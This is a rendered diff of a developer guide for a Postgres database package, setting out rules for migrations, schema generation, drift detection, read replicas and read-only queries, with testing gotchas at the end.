`STATEMENT_ATTRIBUTE` (exported; `@ultimat3/cli`'s `dev-traces.ts` imports it), OTel kind `client`,
|
|
92
|
+
opened only when an observer is installed.
|
|
93
|
+
- **`expected-loop.ts` is the ONLY suppression**: `expectedQueryLoop(reason, fn)`, innermost reason,
|
|
94
|
+
blank is `X_INVARIANT`; the funnel stamps `expected`; it suppresses a verdict, never a statement. The
|
|
95
|
+
framework's own loops declare themselves (`migrate()`, `rollback()`, `@ultimat3/admin`'s
|
|
96
|
+
`search.ts`).
|
|
97
|
+
- `@ultimat3/jobs` never imports this package; its statements pass the observer only because
|
|
98
|
+
`packages/cli/src/dev-queue.ts` wraps a real client for its `PgExecutor`, unattributed.
|
|
99
|
+
|
|
100
|
+
## Migrations
|
|
101
|
+
|
|
102
|
+
- **The migration lock is polled** (`pg_try_advisory_lock` every `MIGRATION_LOCK_POLL_MS` until
|
|
103
|
+
`MIGRATION_LOCK_WAIT_MS`, then `X_MIGRATE_CONCURRENT`), declared with `expectedQueryLoop`;
|
|
104
|
+
`createRecordingClient` stubs the lock as `locked: true`.
|
|
105
|
+
- **`lock_timeout` is the migration's** (`SET LOCAL` inside each migration's transaction, from the
|
|
106
|
+
`migrate` profile's 3 s).
|
|
107
|
+
- **The advisory lock is held by one pinned session, and `migrate()`/`rollback()` run every statement
|
|
108
|
+
on it.** `lock: false` reserves nothing and takes no lock; no shipped path passes it
|
|
109
|
+
(`migrate-pin.test.ts`). `migrate.live.test.ts` pins concurrent and failed-midway runs.
|
|
110
|
+
- **One send is one statement**: `applyScript` sends `statementsOf(script)` one at a time inside the
|
|
111
|
+
same transaction. **`statement-split.ts` is the only splitter** (a left-to-right scan; `$1` is never a
|
|
112
|
+
`$tag$`; `\` escapes only inside `E''`; comment-only chunks dropped). **`sql-scan.ts` is the one
|
|
113
|
+
lexer** (`noiseAt`, source order; a `$tag$` needs separating from the identifier before it);
|
|
114
|
+
`sql-noise.ts` holds `stripSqlNoise`.
|
|
115
|
+
- **`destructive.ts` decides WHAT is destructive**: only `up`, a closed list of four (`drop table`,
|
|
116
|
+
`drop column`, `truncate`, `alter column … type`), decided on blanked text and reported on the
|
|
117
|
+
original; the `-- destructive: true` marker is a top-level line comment (`hasDestructiveMarker`
|
|
118
|
+
walks `sql-scan.ts`). `X_MIGRATION_DESTRUCTIVE` (ship) and `X_MIGRATION_IRREVERSIBLE` (generate) are
|
|
119
|
+
two questions.
|
|
120
|
+
- **The ledger audit asks one question** — `auditLedger`'s `foreign` filter is `!known.has(row.id)`;
|
|
121
|
+
the app version lives in the cause.
|
|
122
|
+
- **`rollback({ steps })` refuses anything but a positive safe integer**, before the lock
|
|
123
|
+
(`rollbackStepsInvalid`, `X_INVARIANT`).
|
|
124
|
+
- **`refuseDependentViews(tx, script)`** (`dependent-view.ts`) runs before each migration's first
|
|
125
|
+
statement: a word scan over `sql-scan.ts` finds retyped columns, one catalog round trip, the pair
|
|
126
|
+
filtered in JS, and `X_MIGRATION_VIEW_DEPENDS` carries the `drop view` / `create view` from
|
|
127
|
+
`pg_get_viewdef` (built through `identifier()` inside a `try`).
|
|
128
|
+
- `runningAppVersion()` delegates to core's `appVersion()`.
|
|
129
|
+
|
|
130
|
+
## Generation (`x db gen`)
|
|
131
|
+
|
|
132
|
+
- **`generate.ts` reads an index, never re-derives one** — `IndexDescriptionLike` carries columns,
|
|
133
|
+
unique, `where`, `order`, `using`; an index naming no column is `X_INVARIANT`.
|
|
134
|
+
- **An index's ACCESS METHOD is carried end to end** (`index-method.ts`): closed at `btree` and `gin`;
|
|
135
|
+
declared is CLOSED, live is OPEN (`indexMethodOf` passes the catalog through; `declaredMethod`
|
|
136
|
+
refuses); absent is `btree` through one function; `snapshotOf` records `using` only when declared;
|
|
137
|
+
`indexMethodSql` re-derives the literal (`X_SQL_UNSAFE` default); a unique or ordered GIN is
|
|
138
|
+
`X_INVARIANT`. `introspect()` reads `pg_am` (`introspect-embedded.test.ts`).
|
|
139
|
+
- **`index-plan.ts` walks both directions** (declared first, removed last). `dropRecordedIndex` emits
|
|
140
|
+
`alter table … drop constraint if exists` then `drop index` for a shape a constraint could back
|
|
141
|
+
(`mayBeConstraintBacked`); four names are skipped (primary, moved aside, rebuilt, over a dropped
|
|
142
|
+
column). `index-ddl.ts` writes the statements; `index-removal.live.test.ts`.
|
|
143
|
+
- **An entity's INVARIANTS reach the DDL** (`invariant-ddl.ts`): a `check` is a named constraint, a
|
|
144
|
+
`unique` a unique INDEX on the one `declaredIndexes` list, an `assert` nothing; `checks` is recorded
|
|
145
|
+
absent-never-`[]`; the name `<table>_<name>_<check|key>` is re-derived, bounded at 63 bytes and
|
|
146
|
+
validated (`constraintNameUnsafe`). **An `assert` is an unrendered loss when a migration recorded its
|
|
147
|
+
CHECK**: `unrenderedOf(entities, current)` takes the recorded schema (required, nullable) and
|
|
148
|
+
`namesConstraint` matches both spellings.
|
|
149
|
+
- **A COLUMN's CHECK is a named constraint too** (`check-ddl.ts`): one list (`declaredChecks` =
|
|
150
|
+
`columnChecks` then `invariantChecks`), named `<table>_<column>_check` (Postgres' own name); an add on
|
|
151
|
+
an existing column is `drop constraint if exists` then `add constraint`; two declarations naming one
|
|
152
|
+
constraint are refused. `checkPlan` takes the `rebuilt` set.
|
|
153
|
+
- **A default's VALUE crosses the seam** (`ColumnDefaultLike`, `defaultExpression`); a description
|
|
154
|
+
carrying only `hasDefault` is reported on `GeneratedMigration.unrendered` and a `-- UNRENDERED`
|
|
155
|
+
comment block — never a refusal, never on an empty diff.
|
|
156
|
+
- **`literal()` DOES receive caller input** (`column-default.ts`); `E'…'` only with a backslash, so
|
|
157
|
+
every migration on disk stays byte-identical (`generate-default.live.test.ts`, `sql.test.ts`).
|
|
158
|
+
`readonly-role.ts` and `branch.ts` are safe only by their ordering after `identifier()`.
|
|
159
|
+
- **A retype moves its dependents aside** (`retype-dependents.ts`): only expressions that MENTION the
|
|
160
|
+
column (partial-index predicates, CHECKs), over-approximated on purpose (`referencesColumn` walks
|
|
161
|
+
`sql-scan.ts`); a plain btree survives. `generate-retype.live.test.ts`. What is moved is put back by
|
|
162
|
+
the ordinary diff (`MovedAside`), never twice. **Foreign keys over a retyped column**
|
|
163
|
+
(`retype-keys.ts`): the retype set is derived once for the whole schema (`retypedColumns`), drops go
|
|
164
|
+
in `preAlters` at the top of `up`, re-adding is `foreignKeyPlan`'s, both `breaksOn` ends are needed
|
|
165
|
+
(`generate-retype-key.live.test.ts`). `sql-type.ts` reads `SQL_TYPES` with `Object.hasOwn`.
|
|
166
|
+
- **A generated column** (`generated-column.ts`): the clause right after the type; generated-and-
|
|
167
|
+
defaulted refused; an expression change is `set expression as (…)`; a retype carries no `using`; a NOT
|
|
168
|
+
NULL add is one statement; generated → plain is `drop expression`; plain → generated rebuilds the
|
|
169
|
+
column (`regenerate` answers `rebuilt`) and moves its dependents aside; a generated column's own type
|
|
170
|
+
change deliberately does not. `introspect` never reads `generation_expression` back.
|
|
171
|
+
`generate-generated-column.live.test.ts`, `generate-generated-rebuild.live.test.ts`.
|
|
172
|
+
- **`REPLICA IDENTITY FULL` is emitted by a PARAMETER** (`GenerateOptions.replicaIdentityFull`, passed
|
|
173
|
+
by `@ultimat3/cli`'s `db-generate.ts` from `describeQueries()`' `subscribes:`), in
|
|
174
|
+
`replica-identity.ts`: recorded as `replicaIdentityFull: true` or absent; the snapshot records the
|
|
175
|
+
union; dead last in `up`; never destructive; a name no entity declares is skipped; never reverted;
|
|
176
|
+
`down` is `replica identity default` except on a table this migration creates.
|
|
177
|
+
- **A foreign key is `alter table … add constraint`**, collected into a bucket merged after every table
|
|
178
|
+
statement (`foreign-key-plan.ts`); **dropping a table has its own bucket emitted BEFORE the table
|
|
179
|
+
statements** (`preDrops`), ordered children-first by `drop-order.ts`, which breaks a two-table cycle
|
|
180
|
+
by dropping one key first. `foreignKeyPlan` walks both directions, drops the name the previous
|
|
181
|
+
snapshot recorded, and rebuilds a key whose `onDelete` moved. **`on delete` reaches the SQL**
|
|
182
|
+
(`onDeleteRule`, `foreign-key.ts`; an unknown rule is `X_INVARIANT`).
|
|
183
|
+
- **`entity-shape.ts` holds the three `*Like` interfaces** (optional `onDelete` / `generated`).
|
|
184
|
+
- **`snapshot-json.ts` writes bytes that are a fixed point of Biome** (arrays collapse when they fit at
|
|
185
|
+
`<= 100` counting the trailing comma); `snapshot-json.test.ts` runs the repo's own `biome format`.
|
|
186
|
+
- **`declaredSchema()` answers the NEWEST migration's snapshot or `undefined`**; `checkDrift` turns
|
|
187
|
+
that into `unknown-schema`, and `x db gen` refuses with `X_MIGRATION_SNAPSHOT_MISSING`. Both lead with
|
|
188
|
+
the same two remedies in the same order: restore the sidecar (`git checkout --`), or delete the
|
|
189
|
+
migration's files FIRST and only then run `x db gen`. `snapshotSiblings` / `migrationNameOf` build
|
|
190
|
+
the second command from the caller's path; both commands are screened (`unknownSchema` through
|
|
191
|
+
`shellInertIdentifier`, `migrationSnapshotMissing` through `renderFixShellArg`), degrading the whole
|
|
192
|
+
line to prose.
|
|
193
|
+
|
|
194
|
+
## Drift and introspection
|
|
195
|
+
|
|
196
|
+
- **`checkDrift()` is the post-migrate verification** (live catalog vs the ledger just written, asked
|
|
197
|
+
by `@ultimat3/cli`'s `runMigrations`), returned never thrown. The OTHER `X_DB_DRIFT` is the CLI's
|
|
198
|
+
`checkSourceDrift`. Neither grows the other's half.
|
|
199
|
+
- `compareTable` compares existence and **nullability** (primary-key columns excluded by the union of
|
|
200
|
+
both sides' keys); the type is not compared. The `fix:` is the `alter table … set not null` itself.
|
|
201
|
+
- **A missing CHECK is drift, compared by NAME**: `TableDescription.checks` (declared: name and
|
|
202
|
+
expression) vs `TableDescription.checkNames` (catalog: `conname` for `contype = 'c'`, always written
|
|
203
|
+
by `introspect()`, `[]` included). Only the declared side is judged; no `changed-check`, ever.
|
|
204
|
+
`drift-check.live.test.ts`.
|
|
205
|
+
- `compareTable` judges declared indexes (`missing-index`, `changed-index` over method, column list,
|
|
206
|
+
uniqueness, predicate presence and direction; `asc` normalises to `null`); never the predicate text.
|
|
207
|
+
- `compareForeignKeys` matches on where a key points (`foreignKeyTarget`, the one copy) and compares
|
|
208
|
+
`onDelete` through `onDeleteRule` (`changed-foreign-key`, fix = drop/add pair).
|
|
209
|
+
- `introspect()` reads index columns in key order (`indkey`) and a foreign key's two column lists
|
|
210
|
+
together (`unnest(a, b) with ordinality`), pinned by `introspect-embedded.test.ts`.
|
|
211
|
+
- **`appTables()`** excludes the whole `x_` namespace for drift; `introspect()` alone excludes
|
|
212
|
+
`x_migrations` by default. **`app-relation.ts`**: `nonAppRelations(client, schema)` — extension
|
|
213
|
+
ownership from `pg_depend` (`deptype = 'e'`) plus views, materialised views and foreign tables —
|
|
214
|
+
merged into `excluded` unconditionally.
|
|
215
|
+
- **`unexpectedTable`'s `fix:` never names `x db gen`**: a `create table if not exists` in a migration
|
|
216
|
+
(accepted by `@ultimat3/cli`'s `acceptCreatedTables`) or dropping a table nothing owns.
|
|
217
|
+
- **`dbDrift()` lives in `drift-errors.ts`** (it needs `shellInertIdentifier`); the `X_DB_DRIFT`
|
|
218
|
+
rendering and title are duplicated in `@ultimat3/entity`, held equal by
|
|
219
|
+
`packages/entity/src/errors.test.ts`. `errors.ts` registers `DB_ERROR_TITLES` unconditionally.
|
|
220
|
+
- `drift-findings.ts` holds every `DriftDifference` constructor and `DriftKind`; `drift.ts` keeps the
|
|
221
|
+
comparisons.
|
|
222
|
+
|
|
223
|
+
## Branches, replicas, read-only
|
|
224
|
+
|
|
225
|
+
- **`reapBranches` sweeps branches of THIS database**: the marker is `ultimate:branch:<base>:<iso>`
|
|
226
|
+
(`BranchInfo.base`), split on the ISO tail; an older one-segment marker is skipped, never dropped; an
|
|
227
|
+
unparseable `createdAt` is skipped. `@ultimat3/cli`'s `ls`/`drop` scope by name prefix.
|
|
228
|
+
- **Read replicas are opt-in twice**: a pool when `DATABASE_REPLICA_URL` names one
|
|
229
|
+
(`default-client.ts`), and a read offered only inside `withReplicaReads(fn)` (`replica-scope.ts`);
|
|
230
|
+
read-your-writes is `ReplicaScope.wrote`, never a request-id map. **`withTransaction` is on the
|
|
231
|
+
primary structurally** (`replicatedClient` delegates `reserve()`; `isReservable` answers about the
|
|
232
|
+
database); `runRoot` calls `markScopeWrote()` unless `readOnly`. **`isPlainRead` is an allow-list**,
|
|
233
|
+
never `statementKind()` (`replica-route.test.ts` asserts they disagree). A standby refusal (`25006`)
|
|
234
|
+
re-runs on the primary; the breaker (3 failures, 10 s, `Clock.monotonic()`) parks the replica;
|
|
235
|
+
`ReplicaStats`; `db.replica_fallback`. The URL must name a read-only standby — nothing checks it.
|
|
236
|
+
`@ultimat3/cli`'s boot opens the per-request scope.
|
|
237
|
+
- **This package owns no "is this SQL a write?" lexer** — `readonly.ts` and `X_READONLY_VIOLATION`
|
|
238
|
+
are deleted; `errors.test.ts` pins `DB_OWNED_ERROR_CODES`. The layers are `ensureReadOnlyRole()`
|
|
239
|
+
(layer 1, returns `null` on a missing permission) and `readOnlyQuery()` (layer 2: `BEGIN READ ONLY`
|
|
240
|
+
+ statement timeout; it THROWS), with `@ultimat3/mcp` as layers 3–4. **`readOnlyQuery` takes ONE
|
|
241
|
+
statement** (`multipleStatements`, via `statementsOf`) and splices the splitter's `statements[0]`.
|
|
1477
242
|
|
|
1478
243
|
```bash
|
|
1479
244
|
bun test # from packages/db
|
|
@@ -1485,10 +250,9 @@ Gotchas:
|
|
|
1485
250
|
- `exactOptionalPropertyTypes` — declare optional fields as `x?: T | undefined`.
|
|
1486
251
|
- `noUncheckedIndexedAccess` — array reads are `T | undefined`; `chunks[i] ?? ''` everywhere.
|
|
1487
252
|
- Tests use `createRecordingClient()` + `setDbClient()`; no test may need a live database.
|
|
1488
|
-
- A test that must prove a pin came back uses `reservableOver()` (`fake-reservable.ts`), never a
|
|
1489
|
-
|
|
1490
|
-
|
|
1491
|
-
- `ALTER DEFAULT PRIVILEGES` is scoped to an object's creator, so layer 1 covers future tables
|
|
1492
|
-
only for the roles in `creators` (default: the connected user). Migrations running as another
|
|
1493
|
-
DB user must name it, or tables created later are not selectable by `ultimate_readonly`.
|
|
253
|
+
- A test that must prove a pin came back uses `reservableOver()` (`fake-reservable.ts`), never a copy.
|
|
254
|
+
- `ALTER DEFAULT PRIVILEGES` is scoped to an object's creator, so layer 1 covers future tables only for
|
|
255
|
+
the roles in `creators` (default: the connected user).
|
|
1494
256
|
- `Bun.SQL` is reached lazily inside `connect()` — importing `client.ts` must not open a socket.
|
|
257
|
+
|
|
258
|
+
Why each rule above is shaped the way it is: [`docs/history/db.md`](../../docs/history/db.md).
|